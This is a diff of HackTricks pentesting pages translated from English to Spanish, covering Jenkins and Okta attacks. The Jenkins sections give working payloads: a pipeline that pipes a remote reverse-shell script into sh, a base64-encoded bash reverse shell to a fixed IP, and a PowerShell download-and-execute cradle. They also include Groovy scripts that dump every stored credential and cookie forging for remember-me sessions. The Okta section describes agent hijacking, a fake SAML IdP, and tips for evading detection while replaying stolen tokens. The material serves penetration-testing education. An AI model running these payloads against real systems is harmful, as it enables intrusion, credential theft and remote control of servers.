- **Desencriptar Archivo de Clave MAC:**
```javascript
key = toAes128Key(masterKey) // Convert master key to AES128 key format
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
```javascript
key = toAes128Key(masterKey) // Convertir clave maestra a formato de clave AES128
decrypted = AES.decrypt(macFile, key) // Desencriptar el archivo .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
**Signature Computation**
**Cálculo de la Firma**
- **Compute HMAC SHA256:**
- **Calcular HMAC SHA256:**
```javascript
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
```
```javascript
mac = HmacSHA256(token, macKey) // Calcular HMAC usando el token y la clave MAC
tokenSignature = bytesToHexString(mac) // Convertir el MAC a una cadena hexadecimal
```
**Cookie Encoding**
**Codificación de la Cookie**
- **Generate Final Cookie:**
- **Generar Cookie Final:**
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 encode the cookie data
```
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Codificar en Base64 los datos de la cookie
```
#### Step 3: Code Execution
#### Paso 3: Ejecución de Código
**Session Authentication**
**Autenticación de Sesión**
- **Fetch CSRF and Session Tokens:**
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
- **Obtener Tokens CSRF y de Sesión:**
- Hacer una solicitud a `/crumbIssuer/api/json` para obtener `Jenkins-Crumb`.
- Capturar `JSESSIONID` de la respuesta, que se utilizará junto con la cookie de recordar-me.
**Command Execution Request**
**Solicitud de Ejecución de Comando**
- **Send a POST Request with Groovy Script:**
- **Enviar una Solicitud POST con Script Groovy:**
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
- El script Groovy se puede utilizar para ejecutar comandos a nivel de sistema u otras operaciones dentro del entorno de Jenkins.
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
El comando curl de ejemplo proporcionado demuestra cómo hacer una solicitud a Jenkins con los encabezados y cookies necesarios para ejecutar código arbitrario de manera segura.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -3,10 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
> Tenga en cuenta que estos scripts solo enumerarán los secretos dentro del archivo `credentials.xml`, pero **los archivos de configuración de compilación** también pueden tener **más credenciales**.
Puede **volcar todos los secretos de la consola de scripts de Groovy** en `/script` ejecutando este código
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -42,51 +41,45 @@ showRow("something else", it.id, '', '', '')
return
```
#### or this one:
#### o este:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class
com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,42 +1,37 @@
# Jenkins RCE Creating/Modifying Pipeline
# Jenkins RCE Creando/Modificando Pipeline
{{#include ../../banners/hacktricks-training.md}}
## Creating a new Pipeline
## Creando un nuevo Pipeline
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
En "Nuevo Elemento" (accesible en `/view/all/newJob`) selecciona **Pipeline:**
![](<../../images/image (235).png>)
In the **Pipeline section** write the **reverse shell**:
En la **sección Pipeline** escribe el **reverse shell**:
![](<../../images/image (285).png>)
```groovy
pipeline {
agent any
agent any
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}
```
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
Finalmente, haz clic en **Guardar** y **Construir ahora** y el pipeline se ejecutará:
![](<../../images/image (228).png>)
## Modifying a Pipeline
## Modificando un Pipeline
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
Si puedes acceder al archivo de configuración de algún pipeline configurado, podrías **modificarlo añadiendo tu reverse shell** y luego ejecutarlo o esperar a que se ejecute.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,39 +1,36 @@
# Jenkins RCE Creating/Modifying Project
# Jenkins RCE Creando/Modificando Proyecto
{{#include ../../banners/hacktricks-training.md}}
## Creating a Project
## Creando un Proyecto
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
Este método es muy ruidoso porque tienes que crear un proyecto completamente nuevo (obviamente esto solo funcionará si se permite al usuario crear un nuevo proyecto).
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
3. Click **Build now**
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
1. **Crea un nuevo proyecto** (proyecto Freestyle) haciendo clic en "Nuevo Elemento" o en `/view/all/newJob`
2. Dentro de la sección **Construir**, establece **Ejecutar shell** y pega un lanzador de powershell Empire o un powershell de meterpreter (se puede obtener usando _unicorn_). Inicia la carga útil con _PowerShell.exe_ en lugar de usar _powershell._
3. Haz clic en **Construir ahora**
1. Si el botón **Construir ahora** no aparece, aún puedes ir a **configurar** --> **Disparadores de Construcción** --> `Construir periódicamente` y establecer un cron de `* * * * *`
2. En lugar de usar cron, puedes usar la configuración "**Disparar construcciones de forma remota**" donde solo necesitas establecer el nombre del token de API para disparar el trabajo. Luego ve a tu perfil de usuario y **genera un token de API** (llama a este token de API como llamaste al token de API para disparar el trabajo). Finalmente, dispara el trabajo con: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
![](<../../images/image (165).png>)
## Modifying a Project
## Modificando un Proyecto
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
Ve a los proyectos y verifica **si puedes configurar alguno** de ellos (busca el "botón Configurar"):
![](<../../images/image (265).png>)
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
Si **no puedes** ver ningún **botón de configuración**, entonces **no puedes** **configurarlo** probablemente (pero revisa todos los proyectos ya que podrías ser capaz de configurar algunos de ellos y no otros).
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
O **intenta acceder a la ruta** `/job/<proj-name>/configure` o `/me/my-views/view/all/job/<proj-name>/configure` \_\_ en cada proyecto (ejemplo: `/job/Project0/configure` o `/me/my-views/view/all/job/Project0/configure`).
## Execution
## Ejecución
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
Si se te permite configurar el proyecto, puedes **hacer que ejecute comandos cuando una construcción sea exitosa**:
![](<../../images/image (98).png>)
Click on **Save** and **build** the project and your **command will be executed**.\
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
Haz clic en **Guardar** y **construye** el proyecto y tu **comando será ejecutado**.\
Si no estás ejecutando un shell reverso sino un comando simple, puedes **ver la salida del comando dentro de la salida de la construcción**.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,27 +1,24 @@
# Jenkins RCE with Groovy Script
# Jenkins RCE con Script Groovy
{{#include ../../banners/hacktricks-training.md}}
## Jenkins RCE with Groovy Script
## Jenkins RCE con Script Groovy
This is less noisy than creating a new project in Jenkins
1. Go to _path_jenkins/script_
2. Inside the text box introduce the script
Esto es menos ruidoso que crear un nuevo proyecto en Jenkins
1. Ve a _path_jenkins/script_
2. Dentro del cuadro de texto introduce el script
```python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
```
Podrías ejecutar un comando usando: `cmd.exe /c dir`
You could execute a command using: `cmd.exe /c dir`
En **linux** puedes hacer: **`"ls /".execute().text`**
In **linux** you can do: **`"ls /".execute().text`**
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
**Another useful groovy script** is (replace \[INSERT COMMAND]):
Si necesitas usar _comillas_ y _comillas simples_ dentro del texto. Puedes usar _"""PAYLOAD"""_ (tres comillas dobles) para ejecutar la carga útil.
**Otro script groovy útil** es (reemplaza \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell in linux
### Shell inversa en Linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -39,28 +34,20 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell en Windows
### Reverse shell in windows
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
Puedes preparar un servidor HTTP con un PS reverse shell y usar Jeking para descargarlo y ejecutarlo:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
```
### Script
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
You can use MSF to get a reverse shell:
Puedes automatizar este proceso con [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
Puedes usar MSF para obtener un shell reverso:
```
msf> use exploit/multi/http/jenkins_script_console
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,117 +1,110 @@
# Okta Security
# Seguridad de Okta
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Información Básica
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
[Okta, Inc.](https://www.okta.com/) es reconocida en el sector de gestión de identidad y acceso por sus soluciones de software basadas en la nube. Estas soluciones están diseñadas para agilizar y asegurar la autenticación de usuarios en diversas aplicaciones modernas. Atienden no solo a empresas que buscan proteger sus datos sensibles, sino también a desarrolladores interesados en integrar controles de identidad en aplicaciones, servicios web y dispositivos.
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
La oferta principal de Okta es la **Okta Identity Cloud**. Esta plataforma abarca un conjunto de productos, incluyendo pero no limitado a:
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
- **Universal Directory**: Enables centralized management of users, groups, and devices.
- **API Access Management**: Secures and manages access to APIs.
- **Single Sign-On (SSO)**: Simplifica el acceso del usuario al permitir un conjunto de credenciales de inicio de sesión en múltiples aplicaciones.
- **Multi-Factor Authentication (MFA)**: Mejora la seguridad al requerir múltiples formas de verificación.
- **Lifecycle Management**: Automatiza la creación, actualización y desactivación de cuentas de usuario.
- **Universal Directory**: Permite la gestión centralizada de usuarios, grupos y dispositivos.
- **API Access Management**: Asegura y gestiona el acceso a APIs.
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
Estos servicios tienen como objetivo colectivo fortalecer la protección de datos y agilizar el acceso de los usuarios, mejorando tanto la seguridad como la conveniencia. La versatilidad de las soluciones de Okta las convierte en una opción popular en diversas industrias, beneficiando a grandes empresas, pequeñas compañías y desarrolladores individuales por igual. Hasta la última actualización en septiembre de 2021, Okta es reconocida como una entidad prominente en el ámbito de la Gestión de Identidad y Acceso (IAM).
> [!CAUTION]
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
> El objetivo principal de Okta es configurar el acceso a diferentes usuarios y grupos a aplicaciones externas. Si logras **comprometer privilegios de administrador en un entorno de Okta**, probablemente podrás **comprometer todas las demás plataformas que la empresa está utilizando**.
> [!TIP]
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
> Para realizar una revisión de seguridad de un entorno de Okta, deberías solicitar **acceso de solo lectura de administrador**.
### Summary
### Resumen
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
These users can be inside **groups**.\
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
Hay **usuarios** (que pueden ser **almacenados en Okta,** iniciar sesión desde **Proveedores de Identidad** configurados o autenticarse a través de **Active Directory** o LDAP).\
Estos usuarios pueden estar dentro de **grupos**.\
También hay **autenticadores**: diferentes opciones para autenticar como contraseña, y varios 2FA como WebAuthn, correo electrónico, teléfono, okta verify (pueden estar habilitados o deshabilitados)...
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
Luego, hay **aplicaciones** sincronizadas con Okta. Cada aplicación tendrá algún **mapeo con Okta** para compartir información (como direcciones de correo electrónico, nombres...). Además, cada aplicación debe estar dentro de una **Política de Autenticación**, que indica los **autenticadores necesarios** para que un usuario **acceda** a la aplicación.
> [!CAUTION]
> The most powerful role is **Super Administrator**.
> El rol más poderoso es **Super Administrador**.
>
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
> Si un atacante compromete Okta con acceso de Administrador, todas las **aplicaciones que confían en Okta** probablemente estarán **comprometidas**.
## Attacks
## Ataques
### Locating Okta Portal
### Localizando el Portal de Okta
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
Usualmente, el portal de una empresa estará ubicado en **companyname.okta.com**. Si no, prueba variaciones simples de **companyname.** Si no puedes encontrarlo, también es posible que la organización tenga un registro **CNAME** como **`okta.companyname.com`** apuntando al **portal de Okta**.
### Login in Okta via Kerberos
### Inicio de Sesión en Okta a través de Kerberos
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
Si **`companyname.kerberos.okta.com`** está activo, **Kerberos se utiliza para el acceso a Okta**, normalmente eludiendo **MFA** para usuarios de **Windows**. Para encontrar usuarios de Okta autenticados por Kerberos en AD, ejecuta **`getST.py`** con **parámetros apropiados**. Al obtener un **ticket de usuario de AD**, **iníctalo** en un host controlado utilizando herramientas como Rubeus o Mimikatz, asegurando que **`clientname.kerberos.okta.com` esté en la zona "Intranet" de las Opciones de Internet**. Acceder a una URL específica debería devolver una respuesta JSON "OK", indicando la aceptación del ticket de Kerberos y otorgando acceso al panel de control de Okta.
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
Comprometer la **cuenta de servicio de Okta con el SPN de delegación permite un ataque de Silver Ticket.** Sin embargo, el uso de **AES** por parte de Okta para la encriptación de tickets requiere poseer la clave AES o la contraseña en texto plano. Usa **`ticketer.py` para generar un ticket para el usuario víctima** y entregarlo a través del navegador para autenticarte con Okta.
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking Okta AD Agent
### Secuestro del Agente AD de Okta
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
Esta técnica implica **acceder al Agente AD de Okta en un servidor**, que **sincroniza usuarios y maneja la autenticación**. Al examinar y desencriptar configuraciones en **`OktaAgentService.exe.config`**, notablemente el AgentToken usando **DPAPI**, un atacante puede potencialmente **interceptar y manipular datos de autenticación**. Esto permite no solo **monitorear** y **capturar credenciales de usuario** en texto plano durante el proceso de autenticación de Okta, sino también **responder a intentos de autenticación**, permitiendo así el acceso no autorizado o proporcionando autenticación universal a través de Okta (similar a una 'llave maestra').
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking AD As an Admin
### Secuestro de AD como Administrador
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
Esta técnica implica secuestrar un Agente AD de Okta obteniendo primero un Código OAuth, luego solicitando un token de API. El token está asociado con un dominio AD, y un **conector se nombra para establecer un agente AD falso**. La inicialización permite que el agente **procese intentos de autenticación**, capturando credenciales a través de la API de Okta. Hay herramientas de automatización disponibles para agilizar este proceso, ofreciendo un método fluido para interceptar y manejar datos de autenticación dentro del entorno de Okta.
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Okta Fake SAML Provider
### Proveedor SAML Falso de Okta
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
La técnica implica **desplegar un proveedor SAML falso**. Al integrar un Proveedor de Identidad (IdP) externo dentro del marco de Okta utilizando una cuenta privilegiada, los atacantes pueden **controlar el IdP, aprobando cualquier solicitud de autenticación a voluntad**. El proceso implica configurar un IdP SAML 2.0 en Okta, manipulando la URL de inicio de sesión único del IdP para redirigir a través del archivo de hosts local, generando un certificado autofirmado y configurando los ajustes de Okta para que coincidan con el nombre de usuario o correo electrónico. Ejecutar con éxito estos pasos permite la autenticación como cualquier usuario de Okta, eludiendo la necesidad de credenciales individuales de usuario, elevando significativamente el control de acceso de manera potencialmente inadvertida.
### Phishing Okta Portal with Evilgnix
### Ataque de Suplantación de Colega
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
Los **atributos que cada usuario puede tener y modificar** (como correo electrónico o nombre) pueden ser configurados en Okta. Si una **aplicación** confía como ID un **atributo** que el usuario puede **modificar**, podrá **suplantar a otros usuarios en esa plataforma**.
### Colleague Impersonation Attack
Por lo tanto, si la aplicación confía en el campo **`userName`**, probablemente no podrás cambiarlo (porque generalmente no puedes cambiar ese campo), pero si confía por ejemplo en **`primaryEmail`** podrías **cambiarlo a la dirección de correo electrónico de un colega** y suplantarlo (necesitarás tener acceso al correo electrónico y aceptar el cambio).
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
Therefore, the app should have this field enabled if it exists:
Ten en cuenta que esta suplantación depende de cómo se configuró cada aplicación. Solo las que confían en el campo que modificaste y aceptan actualizaciones estarán comprometidas.\
Por lo tanto, la aplicación debería tener este campo habilitado si existe:
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
También he visto otras aplicaciones que eran vulnerables pero no tenían ese campo en la configuración de Okta (al final, diferentes aplicaciones están configuradas de manera diferente).
The best way to find out if you could impersonate anyone on each app would be to try it!
La mejor manera de averiguar si podrías suplantar a alguien en cada aplicación sería ¡intentar hacerlo!
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
## Evadiendo políticas de detección de comportamiento <a href="#id-9fde" id="id-9fde"></a>
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
Las políticas de detección de comportamiento en Okta pueden ser desconocidas hasta que se encuentren, pero **eludirlas** se puede lograr **dirigiéndose directamente a las aplicaciones de Okta**, evitando el panel de control principal de Okta. Con un **token de acceso de Okta**, reproduce el token en la **URL específica de la aplicación de Okta** en lugar de la página de inicio de sesión principal.
Key recommendations include:
Las recomendaciones clave incluyen:
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
- **Refrain from replaying** tokens from different users from the same IP address.
- Exercise caution when replaying tokens against the Okta dashboard.
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
- **Evitar usar** proxies de anonimato populares y servicios VPN al reproducir tokens de acceso capturados.
- Asegurarse de que haya **cadenas de agente de usuario consistentes** entre el cliente y los tokens de acceso reproducidos.
- **Evitar reproducir** tokens de diferentes usuarios desde la misma dirección IP.
- Tener cuidado al reproducir tokens contra el panel de control de Okta.
- Si conoces las direcciones IP de la empresa víctima, **restringe el tráfico** a esas IPs o su rango, bloqueando todo el tráfico restante.
## Okta Hardening
## Fortalecimiento de Okta
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
Okta tiene muchas configuraciones posibles, en esta página encontrarás cómo revisarlas para que sean lo más seguras posible:
{{#ref}}
okta-hardening.md
{{#endref}}
## References
## Referencias
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,201 +2,198 @@
{{#include ../../banners/hacktricks-training.md}}
## Directory
## Directorio
### People
### Personas
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
Desde la perspectiva de un atacante, esto es muy interesante ya que podrás ver **todos los usuarios registrados**, sus **direcciones de correo electrónico**, los **grupos** de los que forman parte, **perfiles** e incluso **dispositivos** (móviles junto con sus sistemas operativos).
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
Para una revisión de caja blanca, verifica que no haya varias "**Acciones pendientes del usuario**" y "**Restablecimiento de contraseña**".
### Groups
### Grupos
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
It's possible to see the **people included inside groups** and **apps assigned** to each group.
Aquí es donde encuentras todos los grupos creados en Okta. Es interesante entender los diferentes grupos (conjunto de **permisos**) que podrían ser otorgados a los **usuarios**.\
Es posible ver las **personas incluidas en los grupos** y las **aplicaciones asignadas** a cada grupo.
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
Por supuesto, cualquier grupo con el nombre de **admin** es interesante, especialmente el grupo **Administradores Globales**, verifica los miembros para aprender quiénes son los miembros más privilegiados.
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
Desde una revisión de caja blanca, **no debería haber más de 5 administradores globales** (mejor si solo hay 2 o 3).
### Devices
### Dispositivos
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
Encuentra aquí una **lista de todos los dispositivos** de todos los usuarios. También puedes ver si está siendo **gestionado activamente** o no.
### Profile Editor
### Editor de Perfil
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
Aquí es posible observar cómo se comparte información clave como nombres, apellidos, correos electrónicos, nombres de usuario... entre Okta y otras aplicaciones. Esto es interesante porque si un usuario puede **modificar en Okta un campo** (como su nombre o correo electrónico) que luego es utilizado por una **aplicación externa** para **identificar** al usuario, un interno podría intentar **tomar el control de otras cuentas**.
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
Además, en el perfil **`Usuario (predeterminado)`** de Okta puedes ver **qué campos** tiene cada **usuario** y cuáles son **escribibles** por los usuarios. Si no puedes ver el panel de administración, simplemente ve a **actualizar la información de tu perfil** y verás qué campos puedes actualizar (ten en cuenta que para actualizar una dirección de correo electrónico necesitarás verificarla).
### Directory Integrations
### Integraciones de Directorio
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
Los directorios te permiten importar personas de fuentes existentes. Supongo que aquí verás los usuarios importados de otros directorios.
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
